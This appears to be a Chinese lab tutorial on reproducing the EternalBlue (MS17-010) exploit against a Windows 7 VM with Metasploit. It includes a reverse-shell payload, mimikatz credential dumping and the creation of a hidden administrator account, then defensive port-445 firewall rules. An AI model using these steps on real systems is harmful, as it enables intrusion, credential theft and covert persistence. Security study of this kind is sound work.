永恒之蓝 ms17_010

恶意代码会扫描开放共享端口的windows机器，无需用户任何
永恒之蓝是会扫描开放445端口文件共享端口的windows机器，无需用户任何操作，只要开机上网。
会感染windowsxp windows2000 windows2003 windowsvista mac os 系统等
1.实验环境：kali-linux windows7旗舰版
2.IP地址
kali：192.168.116.129
win7: 192.168.116.130

3.开始实验

进入msfconsole，利用windows/smb/ms17_010_eternalblue(永恒之蓝漏洞)
进行攻击靶机win7

4.使用永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalbule

5.设定靶机ip和操作机ip(主要是靶机ip，因为端口在这个漏洞模块里默认是445，不用再设置，本地监听端口4444也是如此)
设定靶机ip(win7):set rhost 192.168.116.130
设定操作机ip(kali):set lhost 192.168.116.129

6:设置TCP连接
set payload windows/x64/meterpreter/reverse_tcp

7.查看配置
show options

查看是否设置成功
8.攻击
run 或者exploit

攻击成功进入到meterpreter模块
9.获取win7用户密码
利用load mimikatz 调用获取系统用户密码
因为我这个已经加载过一次了，所以会报错

如果是第一次加载就会出现

然后利用kerberos模块来获取win7靶机的系统用户密码

9.提权
shell

得到靶机权限
10.或者新建一个用户，偷偷的控制权限使用
net user liang 123456 /add (创建一个用户密码为admin 123456)
11.提权，将新建用户liang提权到管理员权限
net localgroup administrators liang /add

查看权限
net user liang

12，远程连接靶机桌面

直接用自己所创建的用户远程连接进入系统。
渗透测试成功
主要攻击 win7，server2008 之类的机器
防御办法：
1，网上下载补丁，
2，关闭445端口，dos命令：
netsh advfirewall firewall add rule name=”deny445” dir=in protocol=tcp localport=445 action=block
netsh firewall set portopening protocol=tcp port=445 mode=disable name=deny445
检测445端口是否开启：
netstat -ano -p tcp | find “445”

永恒之蓝 ms17_010_eternalblue相关推荐

kali使用msf 通过ms17_010_eternalblue(永恒之蓝)漏洞攻击win7测试及乱码问题解决
两台Vmware虚拟机: Kali Win7 64位: (主机)kali的ip是 192.168.0.119 (靶机)win7的ip是192.168.0.109 使用nmap端口扫描工具,扫描一下目标 ...
MS17-010（永恒之蓝）漏洞分析与复现
文章目录一.漏洞简介 1.永恒之蓝介绍: 2.漏洞原理: 3.影响版本: 二.漏洞复现复现环境: 复现过程: 1.主机发现: 2.使用MSF的永恒之蓝漏洞模块 3.使用ms17-010扫描模块,对 ...
kail利用msf工具对ms17-010（永恒之蓝）漏洞入侵渗透Win7
kail利用msf工具对ms17-010(永恒之蓝)漏洞入侵渗透Win7 前言: 提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生. ...
利用永恒之蓝入侵服务器复制文件,msf利用永恒之蓝进行漏洞攻击
1. 永恒之蓝Eternalblue 攻击 Eternalblue 通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器, ...
linux 会不会受到永恒之蓝漏洞,永恒之蓝漏洞复现(ms17-010)
永恒之蓝漏洞复现(ms17-010) 漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机 ...
永恒之蓝ms17_010漏洞利用攻击
文章目录前言一:基础知识介绍二.实验环境三.实验步骤总结前言学习Metasploit的时候就听说了经典的永恒之蓝漏洞,所以自己试验了一次,借此作个记录. 一:基础知识介绍 1.何为永恒之 ...
永恒之蓝实验 MS17-010
永恒之蓝MS17-010是2016年8月公开的漏洞,基于445端口迅速传播扩散,危害超出想象的严重. 实验准备: 虚拟机下kali攻击机:192.168.111.128 w7靶机:192.168.11 ...
经典利用永恒之蓝漏洞对Windows操作系统进行攻击
利用永恒之蓝对Windows进行攻击环境搭建:kali.Windows server 2008R2.Windows 7,其中Windows server 2008R2\WIN7为靶机. 首先简单介绍 ...
永恒之蓝（Eternal Blue）复现
永恒之蓝介绍什么是永恒之蓝永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机.甚至于201 ...

永恒之蓝 ms17_010_eternalblue

永恒之蓝 ms17_010_eternalblue相关推荐

最新文章

热门文章